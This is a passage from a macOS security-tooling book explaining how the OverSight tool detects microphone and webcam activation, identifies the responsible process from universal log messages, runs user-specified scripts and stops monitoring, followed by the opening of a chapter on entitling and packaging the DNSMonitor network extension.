require a device ID, let’s first look at how we can enumerate mic and cam-
era devices and then extract each device’s ID.

The AVFoundation3 class AVCaptureDevice4 exposes the class method devices 
WithMediaType:, which takes a media type as an argument (Listing 12-1). To 
enumerate audio devices such as mics, we use the constant AVMediaTypeAudio. 
To enumerate video devices, we use AVMediaTypeVideo. The method returns 
an array of AVCaptureDevice objects that match the specified media type.

#import <AVFoundation/AVCaptureDevice.h>

for(AVCaptureDevice* audioDevice in [AVCaptureDevice devicesWithMediaType:AVMediaTypeAudio]) {
    printf("audio device: %s\n", audioDevice.description.UTF8String);

    // Add code here to add a property listener for each audio device.
}
for(AVCaptureDevice* videoDevice in [AVCaptureDevice devicesWithMediaType:AVMediaTypeVideo]) {
    printf("video device: %s\n", videoDevice.description.UTF8String);

    // Add code here to add a property listener for each video device.
}

Listing 12-1: Enumerating all audio and video devices

Compiling and running the code in Listing 12-1 outputs the following 
on my system, which shows my Mac’s built-in microphone and webcam and 
also a pair of connected headphones:

Audio device: <AVCaptureHALDevice: 0x11b36a480 [MacBook Pro
Microphone][BuiltInMicrophoneDevice]>

Audio device: <AVCaptureHALDevice: 0x11a7e0440 [Bose QuietComfort 35]
[04-52-C7-77-0D-4E:input]>

Video device: <AVCaptureDALDevice: 0x10dbb2c00 [FaceTime HD Camera]
[3F45E80A-0176-46F7-B185-BB9E2C0E82E3]>

You can access the device’s name, such as FaceTime HD Camera, in the 
localizedName property of each AVCaptureDevice object. You may also want 
to make use of other object properties such as modelID, manufacturer, and 
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deviceType to monitor only a subset of devices. For example, you might 
choose to monitor only devices built into your Mac.

Audio Monitoring
To set a property listener on each audio device so you can receive activa-
tion and deactivation notifications, OverSight implements a helper method 
named watchAudioDevice: that takes a pointer to an AVCaptureDevice object. 
For each device of type AVMediaTypeAudio, OverSight invokes this helper.

At the core of this method is a call to the AVFoundation AudioObjectAdd 
Property ListenerBlock function, defined in the AVFoundation AudioHardware.h 
header file as follows:

extern OSStatus AudioObjectAddPropertyListenerBlock(AudioObjectID inObjectID,
const AudioObjectPropertyAddress* inAddress, dispatch_queue_t __nullable inDispatchQueue,
AudioObjectPropertyListenerBlock inListener);

The first parameter is an ID for the audio object, for which we can 
register a property listener. Each AVCaptureDevice object has an object prop-
erty named connectionID containing this required ID, but it isn’t publicly 
exposed. This means we can’t access it directly by writing code such as 
audioDevice .connectionID. However, as noted elsewhere in this book, you can 
access private properties either by extending the object’s definition or by 
using the performSelector:withObject: method.

OverSight uses the latter approach. You’ll find the logic to obtain the 
private device ID from an AVCaptureDevice object in a helper method named 
getAVObjectID: (Listing 12-2).

-(UInt32)getAVObjectID:(AVCaptureDevice*)device {
    UInt32 objectID = 0;

  1 SEL methodSelector = NSSelectorFromString(@"connectionID");
    if(YES != [device respondsToSelector:methodSelector]) {
        goto bail;
    }

  2 #pragma clang diagnostic push
    #pragma clang diagnostic ignored "-Wpointer-to-int-cast"
    #pragma clang diagnostic ignored "-Warc-performSelector-leaks"
  3 objectID = (UInt32)[device performSelector:methodSelector withObject:nil];
  4 #pragma clang diagnostic pop

bail:
    return objectID;
}

Listing 12-2: Obtaining a device’s private ID

In Objective-C, you can access object properties, including private ones, 
by invoking a method on the object that matches the property’s name. You 
can refer to these methods, or indeed any methods, by their names using 
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selectors. Represented by the SEL type, Objective-C selectors are really just 
pointers to strings that represent the name of the method. In Listing 12-2, 
you can see that the code first creates a selector for the connectionID prop-
erty using the NSSelectorFromString API 1.

Because connectionID is a private property, nothing is stopping Apple from 
renaming it or removing it altogether. For that reason, the code invokes the 
respondsToSelector: method to make sure it’s still found on the AVCaptureDevice 
object; if not, it bails. You should always make use of the respondsToSelector: 
method before attempting to access private properties or invoking private 
methods; otherwise, your program risks crashing with a doesNotRecognize 
Selector exception.5

Next, the code makes use of various #pragma directives to save the 
diagnostic state and tell the compiler to ignore warnings that would oth-
erwise be shown 2. These warnings get raised when we invoke the perform 
Selector: withObject: method 3, as the compiler has no way of knowing what 
object it returns and thus can’t know how to manage its memory.6 Because 
the connectionID is just an unsigned 32-bit integer, it doesn’t need memory 
management.

Finally, the code accesses the connectionID property via the selector cre-
ated earlier. It accomplishes this in the aforementioned perform Selector: 
withObject: method, which allows you to invoke an arbitrary selector on 
an arbitrary object. With the device’s identifier in hand, the helper func-
tion restores the previous diagnostic state 4 and returns the device’s ID 
to the caller.

The second argument to the AudioObjectAddPropertyListenerBlock func-
tion is a pointer to an AudioObjectPropertyAddress structure, which identifies 
the property we’re interested in receiving a notification about. OverSight 
initializes the structure, as shown in Listing 12-3.

AudioObjectPropertyAddress propertyStruct = {0};
propertyStruct.mSelector = kAudioDevicePropertyDeviceIsRunningSomewhere;
propertyStruct.mScope = kAudioObjectPropertyScopeGlobal;
propertyStruct.mElement = kAudioObjectPropertyElementMain;

Listing 12-3: Initializing an AudioObjectPropertyAddress structure

We specify that we’re interested in the kAudioDevicePropertyDeviceIs 
RunningSomewhere property, which relates to device activation and deactivation 
by any process on the system. The other elements of the structure indicate 
that the property we specified applies globally to the entire device, not just 
to a particular input or output. As a result, once we’ve added the property 
listener block, OverSight will receive notifications when the specified audio 
device’s run state changes.

The function’s third argument is a standard dispatch queue on which 
to execute the listener block (described next). We can either create a dedi-
cated queue via the dispatch_queue_create API or use dispatch_get_global 
_queue, for example, with the DISPATCH_QUEUE_PRIORITY_DEFAULT constant, 
to make use of an existing global queue. The final argument to the func-
tion is a block of type AudioObjectPropertyListenerBlock that the Core Audio 



284   Chapter 12

framework will automatically invoke whenever the specified property changes 
on the specified device. Here is the listener block’s type definition, also 
found in AudioHardware.h:

typedef void (^AudioObjectPropertyListenerBlock)(UInt32 inNumberAddresses,
const AudioObjectPropertyAddress* inAddresses);

As multiple properties could change all at once if specified to receive 
notifications, the listener block gets invoked with an array of AudioObject 
Property Address objects and the number of elements in this array. OverSight 
is only interested in a single property, so it ignores these parameters. For 
completeness, Listing 12-4 shows OverSight’s watchAudioDevice: method, which 
contains the core logic for specifying the property of interest, defining a lis-
tener block for notifications, and then adding it to the specified audio device.

-(BOOL)watchAudioDevice:(AVCaptureDevice*)device {
    AudioObjectPropertyAddress propertyStruct = {0};

    propertyStruct.mSelector = kAudioDevicePropertyDeviceIsRunningSomewhere;
    propertyStruct.mScope = kAudioObjectPropertyScopeGlobal;
    propertyStruct.mElement = kAudioObjectPropertyElementMain;

    AudioObjectID deviceID = [self getAVObjectID:device];

    AudioObjectPropertyListenerBlock listenerBlock =
    ^(UInt32 inNumberAddresses, const AudioObjectPropertyAddress* inAddresses) {
        // Code to handle device's run state changes removed for brevity
    };

    AudioObjectAddPropertyListenerBlock(deviceID, &propertyStruct, self.eventQueue,
    listenerBlock);
    ...
}

Listing 12-4: Setting up a listener block for an audio device’s run state changes

The OverSight code in the listener block queries the device to determine 
its current state, as the notification tells us that the run state changed, but 
not to what state. If it finds the audio device turned on, OverSight consults its 
log monitor to determine the identity of the process responsible for accessing 
and activating the device. This step, discussed in more detail in “Responsible 
Process Identification” on page 288, is unfortunately necessary, because 
although Apple provides APIs to receive notifications about the state changes 
of an audio device, they provide no information about the responsible pro-
cess. Lastly, the listener block alerts the user, providing information about 
the audio device, its state, and, in activation cases, the responsible process.

To determine whether the device was activated or deactivated, OverSight 
invokes the AudioDeviceGetProperty API within a helper method it names getMic 
State: (Listing 12-5).
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-(UInt32)getMicState:(AVCaptureDevice*)device {
    UInt32 isRunning = 0;
    UInt32 propertySize = sizeof(isRunning);

    AudioObjectID deviceID = [self getAVObjectID:device]; 1
    AudioDeviceGetProperty(deviceID, 0, false, kAudioDevicePropertyDeviceIsRunningSomewhere,
    &propertySize, &isRunning); 2

    return isRunning;
}

Listing 12-5: Determining the current state of an audio device

After declaring a few necessary variables, this method invokes the getAV 
ObjectID: helper method discussed earlier to extract the private device ID 
from the AVCaptureDevice object that triggered the notification 1. It then 
passes this value, along with the kAudioDevicePropertyDeviceIsRunningSomewhere 
constant, a size, and an out pointer for the result, to the AudioDeviceGetProperty 
function 2. As a result of this call, we’ll know whether the notification we 
received in the callback block occurred due to a device activation or a less 
interesting deactivation.

Next, I’ll show you how to monitor video devices, such as the built-in 
webcam.

Camera Monitoring
To detect the run-state changes of video devices, which are of type AVMedia 
TypeVideo, we can follow an approach similar to the audio device monitoring 
code. However, we’ll use APIs in the CoreMediaIO framework and register a 
property listener with the CMIOObjectAddPropertyListenerBlock API.

OverSight monitors video devices for run-state changes in its watchVideo 
Device: method (Listing 12-6).

-(BOOL)watchVideoDevice:(AVCaptureDevice*)device {
  1 CMIOObjectPropertyAddress propertyStruct = {0};
    propertyStruct.mScope = kAudioObjectPropertyScopeGlobal;
    propertyStruct.mElement = kAudioObjectPropertyElementMain;
    propertyStruct.mSelector = 2 kAudioDevicePropertyDeviceIsRunningSomewhere;

  3 CMIOObjectID deviceID = [self getAVObjectID:device];

  4 CMIOObjectPropertyListenerBlock listenerBlock = ^(UInt32
    inNumberAddresses, const CMIOObjectPropertyAddress addresses[]) {
        // Code to handle device's run-state changes removed for brevity
    };

  5 CMIOObjectAddPropertyListenerBlock(deviceID, &propertyStruct,
    self.eventQueue, listenerBlock);
    ...
}

Listing 12-6: Setting up a listener block for a video device’s run-state changes
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As when monitoring audio devices, the code initializes a property 
structure to specify the property for which we’re interested in receiv-
ing notifications 1. Notice that we use the same constants as for audio 
devices 2. Apple’s header files don’t appear to define a video device– 
specific constant.

Next, we get the video device’s ID using OverSight’s getAVObjectID: 
helper method 3. We also implement a listener block of type CMIOObject 
Property Listener Block 4, then invoke the CMIOObjectAddProperty Listener Block 
function 5. Once we’ve made this call, the CoreMediaIO framework will 
automatically invoke the listener block whenever a monitored video device 
activates or deactivates.

As with audio devices, we must manually query the device to learn 
whether it was activated or deactivated. You can find this logic in OverSight’s 
getCameraState: method, which uses CoreMediaIO APIs but is otherwise nearly 
identical to the getMicState: method. As such, I won’t cover it here.

Device Connections and Disconnections
So far, we’ve enumerated the audio and video devices currently connected 
to the system. For each device, we’ve added a property listener block that 
will receive a notification whenever the device activates or deactivates. This 
is all well and good, but we also need to handle cases in which currently 
monitored devices disconnect and reconnect, as well as situations in which 
a user plugs in a new device during the monitoring. For example, imagine 
that the user regularly connects or disconnects their laptop to an Apple 
Cinema display. These displays have built-in webcams that OverSight should 
monitor for unauthorized activations, so we must be able to handle devices 
that come and go.

Luckily, this is relatively straightforward thanks to the macOS NS 
Notification Center dispatch mechanism. Part of the Foundation framework, it 
allows clients to register themselves as observers for events of interest, then 
receive notifications whenever these events occur. To learn about audio or 
video device connections and disconnections, we’ll subscribe to the events 
AVCapture DeviceWasConnectedNotification and AVCapture Device Was Disconnected 
Notification, which we can register with the code in Listing 12-7.

[NSNotificationCenter.defaultCenter addObserver:self
selector:@selector(handleConnectedDeviceNotification:)
name:AVCaptureDeviceWasConnectedNotification object:nil];

[NSNotificationCenter.defaultCenter addObserver:self
selector:@selector(handleDisconnectedDeviceNotification:)
name:AVCaptureDeviceWasDisconnectedNotification object:nil];

Listing 12-7: Registering for device connections and disconnections

OverSight makes two calls to the addObserver:selector:name:object: 
method to register itself for the events of interest. Let’s take a closer look at 
the arguments passed to this method. First is the object, or observer, used to 
handle the notification. OverSight specifies self to indicate that the object 
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registering for the notifications is the same as the object that will handle 
them. As the second argument, OverSight uses the @selector keyword to 
specify the name of the method to invoke on the observer object and handle 
the notification. For new device connections, we use an OverSight method 
named handleConnectedDeviceNotification:, and for disconnections, we use 
handleDisconnectedDeviceNotification:. We’ll look at these methods shortly.

Next, we specify the event of interest, such as device connection or 
disconnection. The constants for these events can be found in Apple’s 
AVCaptureDevice.h file. The last argument allows you to specify an additional 
object to deliver along with the notification. OverSight doesn’t make use of 
this and, as such, simply passes nil.

Once OverSight has invoked addObserver:selector:name:object: twice, 
whenever a device connects or disconnects, the notification center will 
invoke our corresponding observer method. The single parameter it 
passes to this method is a pointer to an NSNotification object. In the case of 
device connection or disconnection, this object contains a pointer to the 
AVCaptureDevice.

Both notification observer methods first extract the device from the 
notification object and then determine its type (audio or video). Next, the 
code invokes OverSight’s device type–specific methods to either start or 
stop the monitoring, depending on whether the device was connected or 
disconnected.

As an example, Listing 12-8 shows the implementation of the handle 
ConnectedDeviceNotification: method.

-(void)handleConnectedDeviceNotification:(NSNotification *)notification {
  1 AVCaptureDevice* device = notification.object;

  2 if(YES == [device hasMediaType:AVMediaTypeAudio]) {
        [self watchAudioDevice:device];
  3 } else if(YES == [device hasMediaType:AVMediaTypeVideo]) {
        [self watchVideoDevice:device];
    }
}

Listing 12-8: When a new device connects, OverSight will begin monitoring it for  
run-state changes.

The method extracts the device that triggered the notification by access-
ing the object property of the NSNotification object passed into it 1. If this 
just-connected device is an audio device, the code invokes OverSight’s watch 
AudioDevice: method, discussed earlier, to register a property listener block 
for state changes 2. For video devices, the code invokes the watchVideoDevice: 
method 3. The method to handle device disconnections is identical, except 
it invokes the relevant OverSight unwatch methods, discussed in “Stopping” 
on page 293, which stop the monitoring of audio or video devices.

If we were solely interested in the fact that a video or audio device had 
activated or deactivated, we’d be done. However, these events have limited 
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utility for malware detection if they don’t include the process responsible 
for triggering it. So, we have more work cut out for us.

Responsible Process Identification
Many legitimate activities could activate your mic or camera (for example, 
hopping on a conference call). A security tool must be able to identify 
the process accessing a device so it can ignore the ones it trusts and gener-
ate alerts for any it doesn’t recognize.

In previous chapters, I mentioned that Endpoint Security APIs can 
identify the process responsible for many events of interest. Unfortunately, 
Endpoint Security doesn’t report on mic and camera access yet (although 
I’ve begged Apple to add this feature many a time). While we’ve shown that 
the CoreAudio and CoreMediaIO APIs can provide notifications about changes 
to a device’s run state, they don’t contain information about the respon-
sible process.

Over the years, OverSight has taken various roundabout approaches 
to accurately identify the responsible process. Initially, it took advantage 
of the fact that frameworks within processes accessing the mic or webcam 
would send various Mach messages to the core macOS camera and audio 
assistant daemons. When it received a device run-state change notification, 
OverSight would enumerate any Mach message senders. It also supple-
mented this information by extracting responsible candidate processes 
from the I/O registry.7 Unfortunately, even this combined approach often 
yielded more than one candidate process. So, OverSight executed the 
macOS sample utility, which provided stack traces of the candidate pro-
cesses. By examining these stack traces, it could identify whether a process 
was actively interacting with an audio or video device.

This approach wasn’t the most efficient (and the sample utility is a touch 
invasive, as it briefly suspends the target process), but it could consistently 
identify the responsible process. At the time, OverSight was the only tool on 
the market able to provide this feature, making it a hit not only with users 
but also with commercial entities, who reverse engineered the tool to steal 
this capability for their own purposes—bugs and all! When I confronted 
the companies with proof of this transgression, all eventually admitted 
fault, apologized, and made amends.8

N O T E  Interestingly, one of the developers who copied OverSight’s proprietary logic began 
working for Apple shortly thereafter. Coincidentally or not, more recent versions of 
macOS now alert you when a process initially attempts to access the mic or camera. 
As they say, imitation is the sincerest form of flattery.

As macOS changed, OverSight’s initial method of identifying the 
responsible process began to show its age. Luckily the introduction of the 
universal log provides a more efficient solution. In Chapter 6, I showed how 
to use the universal log’s private APIs and frameworks for ingesting stream-
ing log messages, among other tasks. OverSight uses these same APIs and 
frameworks, coupled with custom filter predicates, to identify the process 
responsible for triggering any mic or camera state changes.
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N O T E  Messages in the log can change at any time. In this section, I focus on the messages 
present in macOS 14 and 15. While future versions of the operating system could 
replace these messages, you should be able to identify the new ones and swap them in.

The universal log contains many messages continually streaming from 
all corners of the system. To identify relevant messages (for example, those 
pertaining to processes accessing the camera), let’s start a log stream, then 
fire up an application such as FaceTime that makes use of the webcam:

% log stream
...
Default     0x0   367    0    com.apple.cmio.registerassistantservice:
[com.apple.cmio:] RegisterAssistantService.m:2343:-[RegisterAssistantServer
addRegisterExtensionConnection:]_block_invoke [{private}901][{private}0]
added <private> endpoint <private> camera <private>

Default     0x0   901    0    avconferenced: (CoreMediaIO) [com.apple.cmio:]
CMIOHardware.cpp:747:CMIODeviceStartStream backtrace 0   CoreMediaIO
0x000000019b4c4040 CMIODeviceStartStream + 228    [0x19b45a000 + 434240]

In the stream, you can see messages related to the camera access. These 
contain references to a process with the PID of 901 or emanating from that 
process. In this example, that PID maps to the process avconferenced, which 
accesses the webcam on behalf of FaceTime. Let’s try another application 
(say, Zoom) to see what shows up in the logs:

% log stream
...
Default     0x0   367    0    com.apple.cmio.registerassistantservice:
[com.apple.cmio:] RegisterAssistantService.m:2343:-[RegisterAssistantServer
addRegisterExtensionConnection:]_block_invoke [{private}17873][{private}0]
added <private> endpoint <private> camera <private>

Default     0x0   17873  0    zoom.us: (CoreMediaIO) [com.apple.cmio:]
CMIOHardware.cpp:747:CMIODeviceStartStream backtrace 0   CoreMediaIO
0x00007ff8248a6287 CMIODeviceStartStream
+ 205    [0x7ff824840000 + 418439]CMIOHardware.cpp:747:CMIODeviceStartStream
backtrace 0   CoreMediaIO      0x00007ff8248a6287 CMIODeviceStartStream +
205    [0x7ff824840000 + 418439]

We receive the exact same messages, except this time they contain a 
process ID of 17873, which belongs to Zoom. You can perform a similar 
experiment to identify log messages containing information about pro-
cesses accessing the mic.

To programmatically interact with the universal log, OverSight imple-
ments a custom class named LogMonitor. The code in this class interfaces with 
APIs found within the private LoggingSupport framework. Since Chapter 6 cov-
ered this strategy, I won’t repeat the detail here. If you’re interested in the full 
code, take a look at the LogMonitor.m file in the OverSight project.
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OverSight’s LogMonitor class exposes a method with the definition shown 
in Listing 12-9.

-(BOOL)start:(NSPredicate*)predicate level:(NSUInteger)level
callback:(void(^)(OSLogEvent*))callback;

Listing 12-9: LogMonitor’s method to start a log stream filtered by a specified level  
and predicate

Given a predicate and a log level (such as default or debug), this 
method activates a streaming log session. It will pass log messages of type 
OSLogEvent that match the specified predicate to the caller using the specified 
callback block.

OverSight uses a predicate that matches all log messages from either 
the core media I/O subsystem or the core media subsystem, because these 
subsystems generate the specific log messages that contain the PID of the 
responsible process (Listing 12-10).

if(@available(macOS 14.0, *)) {
    [self.logMonitor start:[NSPredicate predicateWithFormat:@"subsystem=='com.apple.cmio' OR
    subsystem= = 'com. apple. coremedia'"] level:Log_Level_Default callback:^(OSLogEvent*
    logEvent) {
        // Code that processes cmio and coremedia log messages removed for brevity
    }];
}

Listing 12-10: Filtering messages from the cmio and coremedia subsystems

We intentionally leave these predicates broad to ensure that macOS 
performs the predicate matching within the system log daemon’s instance 
of the logging framework, rather than in the instance of the same frame-
work loaded in OverSight. This avoids the significant overhead of copying 
and transmitting all system log messages between the two processes. The 
only downside to using a broader predicate is that OverSight must then 
filter out irrelevant messages. As neither of the two specified subsystems 
generates a significant number of log messages, however, this additional 
processing doesn’t introduce much overhead.

For each message from the subsystems, OverSight checks whether it 
contains the PID of the process that triggered the device’s run-state change. 
Listing 12-11 shows the code to do this for camera events.

1 NSRegularExpression* cameraRegex = [NSRegularExpression
regularExpressionWithPattern:@"\\[\\{private\\}(\\d+)\\]"
options:0 error:nil];

2 if( (YES == [logEvent.subsystem isEqual:@"com.apple.cmio"]) &&
    (YES == [logEvent.composedMessage hasSuffix:@"added <private>
    endpoint <private> camera <private>"]) ) {
  3 NSTextCheckingResult* match = [cameraRegex firstMatchInString:logEvent.
    composedMessage options:0 range:NSMakeRange(0, logEvent.composedMessage.
    length)];
    if( (nil == match) || (NSNotFound == match.range.location) ) {
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        return;
    }
  4 NSInteger pid = [[logEvent.composedMessage substringWithRange:
    [match rangeAtIndex:1]] integerValue];
        self.lastCameraClient = pid;
}

Listing 12-11: Parsing cmio messages to detect the responsible process

For camera events, we look for a message from the com.apple.cmio 
 subsystem ending with added <private> endpoint <private> camera <private> 2.  
To extract the PID for this process, OverSight uses a regular expression, 
which it initializes prior to the message processing to avoid reinitializa-
tion 1, then applies it to the candidate messages 3. If the regular expres-
sion doesn’t match, the callback exits with a return statement. Otherwise, it 
extracts the PID as an integer and saves it into an instance variable named 
lastCamera Client 4. OverSight references this variable when it receives a 
camera run-state change notification and builds an alert to show the user 
(Listing 12-12).

Client* client = nil;

if(0 != self.lastCameraClient) {
    client = [[Client alloc] init];
    client.pid = [NSNumber numberWithInteger:self.lastCameraClient];
    client.path = valueForStringItem(getProcessPath(client.pid.intValue));
    client.name = valueForStringItem(getProcessName(client.path));
}
Event* event = [[Event alloc] init:client device:device deviceType:
Device_Camera state:NSControlStateValueOn];

[self handleEvent:event];

Listing 12-12: Creating an object encapsulating the responsible process

For mic events, the approach is similar, except OverSight looks for mes-
sages from the com .apple .coremedia subsystem that start with -MXCoreSession - 
-[MXCoreSession beginInterruption] and end with Recording = YES> is going active.

Using the universal log to identify processes responsible for mic and 
camera access has proven effective. The strategy’s main downside is that 
Apple occasionally changes or removes relevant log messages. For example, 
OverSight used different log messages to identify responsible processes 
in earlier versions of macOS, forcing me to update the tool when Apple 
removed them. You can see these updates by viewing the AVMonitor.m 
 commit history in OverSight’s GitHub repository.

Triggering Scripts
When I introduced OverSight in 2015, macOS provided no restrictions on 
mic or webcam access, meaning any malware that infected the system 
could trivially access either. Recent versions of macOS have addressed this 
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shortcoming by prompting the user the first time any application attempts 
to access these devices. Unfortunately, this approach relies on the operat-
ing system’s Transparency, Consent, and Control (TCC) mechanism, which 
hackers and malware often bypass, as noted in Chapter 6.

Besides providing an additional layer of defense, OverSight offers features 
that users have leveraged creatively. For example, it provides a mechanism 
to take additional actions whenever a process accesses the mic or camera. If 
you open OverSight’s preferences and click the Action tab, you’ll see that you 
can specify a path to an external script or binary. If a user provides such an 
executable, OverSight will execute it upon each activation event.

To further enhance this capability, another option allows users to 
enable arguments to provide to the script, including the device, state, and 
responsible process. This makes OverSight relatively easy to integrate into 
other security tools (although users have frequently used the feature for 
more practical reasons, such as turning on an external light outside their 
home office whenever they activate their mic or camera).

OverSight’s code to execute external scripts or binaries is fairly straight-
forward, though the handling of arguments requires a few nuances. Over- 
Sight makes use of the NSUserDefaults class to persistently store settings and 
preferences, including any user-specified script or binary. Listing 12-13 
shows the code that saves the path of an item when the user interacts with 
the Browse button.

#define PREF_EXECUTE_PATH @"executePath"
#define PREF_EXECUTE_ACTION @"executeAction"

1 self.executePath.stringValue = panel.URL.path;
...
2 [NSUserDefaults.standardUserDefaults setBool:NSControlStateValueOn
forKey:PREF_EXECUTE_ACTION];

3 [NSUserDefaults.standardUserDefaults setObject:self.executePath.stringValue
forKey:PREF_EXECUTE_PATH];

4 [NSUserDefaults.standardUserDefaults synchronize];

Listing 12-13: The NSUserDefaults class used to store user preferences

We save the path of the item the user selected via the user interface 1,  
then set a flag indicating that the user specified an action 2 and save the 
item’s path 3. Note that panel is an NSOpenPanel object containing the item  
the user selected. We set the flag using the setBool: method of the NSUser 
Defaults’s standardUserDefaults object and set the item path using the 
 setObject: method. Finally, we synchronize to trigger a save 4.

When the user specifies an external item to run, OverSight invokes a 
helper function named executeUserAction: to run the item when a run-state 
change occurs to a mic or camera (Listing 12-14).

#define SHELL @"/bin/bash"
#define PREF_EXECUTE_PATH @"executePath"
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#define PREF_EXECUTE_ACTION_ARGS @"executeActionArgs"

-(BOOL)executeUserAction:(Event*)event {
    NSMutableString* args = [NSMutableString string];

    NSString* action = [NSUserDefaults.standardUserDefaults objectForKey:PREF_EXECUTE_PATH]; 1
    if(YES == [NSUserDefaults.standardUserDefaults boolForKey:PREF_EXECUTE_ACTION_ARGS]) { 2
        [args appendString:@"-device "]; 3
        (Device_Camera == event.deviceType) ? [args appendString:@"camera"] :
        [args appendString:@"microphone"];

        [args appendString:@" -process "];
        [args appendString:event.client.pid.stringValue];
        ...
    }

  4 execTask(SHELL, @[@"-c", [NSString stringWithFormat:@"\"%@\" %@", action, args]], NO, NO);
    ...

Listing 12-14: Executing a user-specified item with arguments

The executeUserAction: method first extracts the path of the user- 
specified item to execute from the saved preference 1. Then it checks 
whether the user has opted to pass arguments to the item 2. If so, it 
dynamically builds a string containing the arguments, including the 
device that triggered the event and the responsible process 3. Finally, it 
executes the item and any arguments via the shell using the execTask helper 
function 4 discussed in previous chapters.

You might be wondering why OverSight executes the user-specified item 
via /bin/bash instead of just executing the item directly. Well, as the shell 
supports the execution of both scripts and stand-alone executables, this 
means users can specify either in OverSight.

Stopping
It’s nice to provide users with an easy way to pause or fully disable a  
security tool they have installed. I’ll end this chapter by looking at 
OverSight’s code to stop the device and log monitor. I won’t cover the 
UI components and logic that expose this ability, but you can find them 
implemented as a macOS status bar menu in OverSight’s Application/
StatusBarItem.m file.

When a user disables or stops OverSight, it first stops its log monitor by 
calling a stop method that the custom log monitor exposes. This method 
ends the stream that ingests log messages by invoking the OSLogEventLiveStream 
object’s invalidate method. Once the log monitor has stopped, OverSight 
stops monitoring all audio and video devices in two loops (Listing 12-15).
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-(void)stop {
    ...
    for(AVCaptureDevice* audioDevice in [AVCaptureDevice devicesWithMediaType:AVMediaType
    Audio]) {
        [self unwatchAudioDevice:audioDevice];
    }

    for(AVCaptureDevice* videoDevice in [AVCaptureDevice devicesWithMediaType:AVMediaType
    Video]) {
        [self unwatchVideoDevice:videoDevice];
    }
    ...
}

Listing 12-15: Ending the monitoring of all devices

One loop iterates over all audio devices, calling OverSight’s unwatch 
Audio Device: method, and a second loop iterates over video devices to invoke 
unwatchVideoDevice: on them. The code in these methods, which remove lis-
tener blocks, is nearly identical to the watch* monitoring methods covered 
earlier in this chapter, as you can see in this snippet from the unwatch Audio 
Device method (Listing 12-16).

-(void)unwatchAudioDevice:(AVCaptureDevice*)device {
    ...
    AudioObjectID deviceID = [self getAVObjectID:device];

    AudioObjectPropertyAddress propertyStruct = {0};
    propertyStruct.mScope = kAudioObjectPropertyScopeGlobal;
    propertyStruct.mElement = kAudioObjectPropertyElementMain;
    propertyStruct.mSelector = kAudioDevicePropertyDeviceIsRunningSomewhere;

  1 AudioObjectRemovePropertyListenerBlock(deviceID,
    &propertyStruct, self.eventQueue, self.audioListeners[device.uniqueID]);
    ...
}

Listing 12-16: Removing a property listener block from an audio device

The code in this listing first gets the specified device’s ID and then 
initializes an AudioObjectPropertyAddress that describes the previously added 
property listener 1. It passes these, along with the listener block stored in 
the dictionary named audioListeners, to the AudioObject Remove Property Listener 
Block function. This fully removes the property listener block, ending 
OverSight’s monitoring of the device.

Conclusion
Some of the most insidious threats targeting Mac users spy on their victim 
using the mic or camera. Instead of trying to detect specific malware speci-
mens, OverSight counters all of them by taking the simple, albeit powerful, 
heuristic-based approach of detecting unauthorized mic and camera access.
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In this chapter, I first showed you how OverSight leverages various 
CoreAudio and CoreMediaIO APIs to register for notifications about mic and 
camera activations and deactivations. Then we explored the tool’s use of 
a custom log monitor to identify the process responsible for the event. 
Finally, I showed you how users can easily extend OverSight to execute 
external scripts or binaries as it detects events and the logic behind stop-
ping OverSight.

In the next chapter, we’ll continue to explore the building of robust 
security tools by looking at how to create a DNS monitor capable of detect-
ing and blocking unauthorized network access.
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In this chapter, I’ll focus on the practicalities 
of building a deployable host-based network 

monitor capable of proxying and blocking 
DNS traffic from unrecognized processes or des-

tined for untrusted domains.
Chapter 7 covered the basic design of a DNS proxy capable of monitoring 

traffic via Apple’s NetworkExtension framework. There, however, I skipped over 
many of the steps required to build a deployable tool, including obtaining 
necessary entitlements and correctly bundling the extension within a host 
application. This chapter will discuss these tasks, as well as ways of extending 
a basic monitor, such as by parsing DNS queries and responses to block those 
found on a block list.

You can find these capabilities and more in the open source DNSMonitor, 
which is part of Objective-See’s tool suite (https://github.com/objective-see/
DNSMonitor). I recommend that you download the project or reference the 
source code in the repository while reading the chapter, as the following 
discussions often omit parts of the code for brevity.

13
D N S  M O N I T O R

https://github.com/objective-see/DNSMonitor
https://github.com/objective-see/DNSMonitor
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Network Extension Deployment Prerequisites
Modern networking monitors, including DNSMonitor, make use of the net-
work extension framework. Because they’re packaged as system extensions 
and run as stand-alone processes with elevated privileges, Apple requires 
developers to entitle and bundle them in a very specific way. In Chapter 11, 
we walked through the process of obtaining the Endpoint Security entitle-
ment and then creating a provisioning profile for the tool in the Apple 
Developer portal. If you’re building a network extension, you’ll follow a 
similar process, with a few key differences.

First, you’ll need to generate two provisioning profiles, one for the 
network extension and another for the application that contains and loads 
the extension. Follow the process described in Chapter 11 to create an ID 
for each item on the Apple Developer site. When asked to select capabilities 
for the extension, check Network Extensions, which maps to the com.apple 
.developer.networking.networkextension entitlement. Any developer can use 
this entitlement (unlike the Endpoint Security entitlement, which requires 
explicit approval from Apple). For the application, select that same capabil-
ity, as well as System Extension, which will allow the application to install, 
load, and manage the extension. Once you’ve created both IDs, create the 
two provisioning profiles.

Now you must install each provisioning profile in Xcode. If you look 
at the DNSMonitor project, you’ll see that it contains two targets: the exten-
sion and its host application. When you click either of these targets, the 
Signing and Capabilities tab should provide an option to specify the rel-
evant provisioning profile. Apple’s developer documentation recommends 
enabling manual signing by leaving the Automatically Manage Signing 
option unchecked.1

The Signing and Capabilities tab will also show that the DNSMonitor 
project has enabled additional capabilities for both the extension and 
application that match those we specified when building the provisioning 
profile. The extension specifies the Network Extensions capability, while 
the app specifies both Network Extensions and System Extensions. If you’re 
building your own network extension, you’ll have to add these capabilities 
manually by clicking the + next to Capabilities.

Behind the scenes, adding these capabilities applies the relevant entitle-
ments to each target’s entitlements.plist. Unfortunately, we must manually 
edit these entitlements.plist files. Adding the Network Extensions capability and  
checking DNS Proxy will add the entitlement with a value of dns-proxy, but 
we’ll need a value of dns-proxy-systemextension to deploy an extension signed 
with a developer ID.2 Listing 13-1 shows this in the extension’s entitlements 
.plist file.
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<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<dict>
    <key>com.apple.developer.networking.networkextension</key>
    <array>
        <string>dns-proxy-systemextension</string>
    </array>
    ...

Listing 13-1: We must entitle network extensions and specify an extension type.

The file includes the network extension entitlement as a key, along with 
an array holding any extension types.

Packaging the Extension
Any tool that uses a network extension must implement it as a system exten-
sion, then structure itself in a specific way so that macOS can validate and 
activate it. Specifically, Apple requires that any system extension be pack-
aged within a bundle, such as an application, in the bundle’s Contents/
